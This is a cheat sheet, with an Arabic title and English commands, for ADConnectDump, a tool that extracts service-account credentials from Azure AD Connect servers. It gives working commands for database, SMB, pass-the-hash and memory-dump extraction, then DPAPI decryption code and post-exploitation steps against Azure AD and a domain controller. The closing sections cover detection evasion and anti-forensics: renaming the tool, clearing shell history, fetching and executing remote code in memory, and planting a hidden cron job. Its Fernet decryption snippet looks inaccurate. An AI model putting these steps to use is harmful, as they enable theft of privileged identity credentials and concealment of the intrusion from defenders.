أداة ADConnectDump لاستخراج بيانات الاعتماد الخاصة بـ Azure AD Connect - ورقة الإرشادات

نظرة عامة

أداة ADConnectDump هي أداة طورها Dirk-Jan Mollema لاستخراج بيانات الاعتماد والتكوين من خوادم Azure AD Connect. يمكنها استخراج بيانات اعتماد حساب خدمة Azure AD Connect، والتي غالبًا ما تمتلك صلاحيات عالية في كل من Active Directory المحلي وبيئات Azure AD.

⚠️ تحذير: هذه الأداة مخصصة فقط للاختبار الاختراقي المصرح به والتقييمات الأمنية. تأكد من وجود التفويض المناسب قبل الاستخدام في أي بيئة.

Azure AD Connect Architecture

Understanding AAD Connect

# Azure AD Connect components:
# 1. Synchronization Service (ADSync)
# 2. Database (LocalDB or SQL Server)
# 3. Service Accounts
# 4. Configuration Data

# Key files and locations:
# Database: C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf
# Config: C:\Program Files\Microsoft Azure AD Sync\Bin\
# Logs: C:\ProgramData\AADConnect\

Service Account Identification

# Identify AAD Connect service accounts
Get-Service|Where-Object \\\\{$_.Name -like "*ADSync*"\\\\}

# Check service account privileges
Get-WmiObject -Class Win32_Service|Where-Object \\\\{$_.Name -eq "ADSync"\\\\}|Select-Object StartName

# Verify AAD Connect installation
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Azure AD Connect" -Name "Version"

Credential Extraction Techniques

Local Database Access

# Direct database access (requires local admin)
python3 adconnectdump.py --database "C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf"

# Extract from backup database
python3 adconnectdump.py --database "C:\Backup\ADSync_backup.mdf"

# Extract from SQL Server instance
python3 adconnectdump.py --sql-server "SQLSERVER\INSTANCE" --database "ADSync"

Remote Extraction via SMB

# Extract via SMB with credentials
python3 adconnectdump.py --host aadconnect.domain.com --username "domain\admin" --password "password"

# Extract using pass-the-hash
python3 adconnectdump.py --host aadconnect.domain.com --username "admin" --hashes ":aad3b435b51404eeaad3b435b51404ee:hash"

# Extract with specific target IP
python3 adconnectdump.py --host aadconnect.domain.com --target-ip 192.168.1.100 --username "admin" --password "password"

Memory Extraction

# Extract from memory (requires admin privileges)
# Use tools like Mimikatz or ProcDump

# Dump ADSync process memory
procdump.exe -ma miiserver.exe aadsync_dump.dmp

# Extract credentials from memory dump
python3 adconnectdump.py --memory-dump aadsync_dump.dmp

Configuration Analysis

Database Schema Analysis

-- Key tables in ADSync database
-- mms_management_agent: Contains connector information
-- mms_server_configuration: Server configuration
-- mms_synchronization_rule: Sync rules
-- mms_metaverse_object: Metaverse objects

-- Extract connector information
SELECT ma_name, ma_type, private_configuration_xml
FROM mms_management_agent;

-- Extract server configuration
SELECT applied_time, configuration_xml
FROM mms_server_configuration;

Configuration File Analysis

# Analyze AAD Connect configuration files
$configPath = "C:\Program Files\Microsoft Azure AD Sync\Bin\"

# Check connector configurations
Get-ChildItem -Path $configPath -Filter "*.xml"|ForEach-Object \\\\{
    [xml]$config = Get-Content $_.FullName
    Write-Host "File: $($_.Name)"
    Write-Host "Connectors: $($config.SelectNodes('//connector').Count)"
\\\\}

# Extract service account information
$serviceConfig = Get-Content "$configPath\miiserver.exe.config"
$serviceConfig|Select-String -Pattern "connectionString\|serviceAccount"

Credential Decryption

Understanding Encryption

# AAD Connect credential encryption process
# 1. Credentials encrypted with DPAPI
# 2. Machine key used for encryption
# 3. Service account context required

# Decryption process
import base64
from cryptography.fernet import Fernet

def decrypt_aad_connect_password(encrypted_password, key):
    """Decrypt AAD Connect password"""
    try:
        # Base64 decode
        encrypted_data = base64.b64decode(encrypted_password)

        # Decrypt using key
        f = Fernet(key)
        decrypted = f.decrypt(encrypted_data)

        return decrypted.decode('utf-8')
    except Exception as e:
        print(f"Decryption failed: \\\\{e\\\\}")
        return None

Manual Decryption

# Manual credential decryption (PowerShell)
Add-Type -AssemblyName System.Security

function Decrypt-AADConnectPassword \\\\{
    param(
        [string]$EncryptedPassword,
        [byte[]]$Key
    )

    try \\\\{
        # Convert from base64
        $encryptedBytes = [Convert]::FromBase64String($EncryptedPassword)

        # Decrypt using DPAPI
        $decryptedBytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
            $encryptedBytes,
            $null,
            [System.Security.Cryptography.DataProtectionScope]::LocalMachine
        )

        return [System.Text.Encoding]::UTF8.GetString($decryptedBytes)
    \\\\}
    catch \\\\{
        Write-Error "Decryption failed: $_"
        return $null
    \\\\}
\\\\}

Post-Exploitation Techniques

Using Extracted Credentials

# Use extracted Azure AD credentials
# Typically format: MSOL_<guid>@<tenant>.onmicrosoft.com

# Authenticate to Azure AD
az login --username "MSOL_12345678-1234-1234-1234-123456789012@company.onmicrosoft.com" --password "extracted_password"

# Use with AADInternals
Import-Module AADInternals
$accessToken = Get-AADIntAccessTokenForAADGraph -UserPrincipalName "MSOL_account@company.onmicrosoft.com" -Password "extracted_password"

On-Premises Active Directory Access

# Use extracted on-premises credentials
# Format: domain\username

# Authenticate to domain
net use \\dc.domain.com\c$ /user:domain\MSOL_service_account extracted_password

# Use with Impacket tools
python3 secretsdump.py domain/MSOL_service_account:extracted_password@dc.domain.com

# Use with CrackMapExec
crackmapexec smb dc.domain.com -u MSOL_service_account -p extracted_password

Privilege Escalation

# Check privileges of extracted account
Import-Module ActiveDirectory
Get-ADUser -Identity "MSOL_service_account" -Properties MemberOf|Select-Object -ExpandProperty MemberOf

# Check Azure AD privileges
Import-Module AADInternals
$roles = Get-AADIntUserRoles -AccessToken $accessToken -UserPrincipalName "MSOL_account@company.onmicrosoft.com"
```## كشف التحايل
```bash
# Use legitimate tools and processes
# Avoid suspicious file names
# Use memory-only techniques when possible

# Rename tool
cp adconnectdump.py system_maintenance.py

# Use legitimate paths
mkdir -p /tmp/.system/maintenance/
cp adconnectdump.py /tmp/.system/maintenance/syscheck.py
```### تقنيات التخفي
```bash
# Clear evidence after extraction
rm -f credentials.txt
rm -f credentials.json
history -c

# Use in-memory execution
python3 -c "
import urllib.request
exec(urllib.request.urlopen('https://raw.githubusercontent.com/fox-it/adconnectdump/master/adconnectdump.py').read())
"
```### مكافحة الفحص الرقمي
```bash
# Perform extraction during maintenance windows
# Schedule for off-hours
# Use legitimate administrative sessions

# Example: Schedule extraction
echo "0 2 * * 0 /usr/bin/python3 /tmp/adconnectdump.py --output /tmp/.cache/system.log"|crontab -
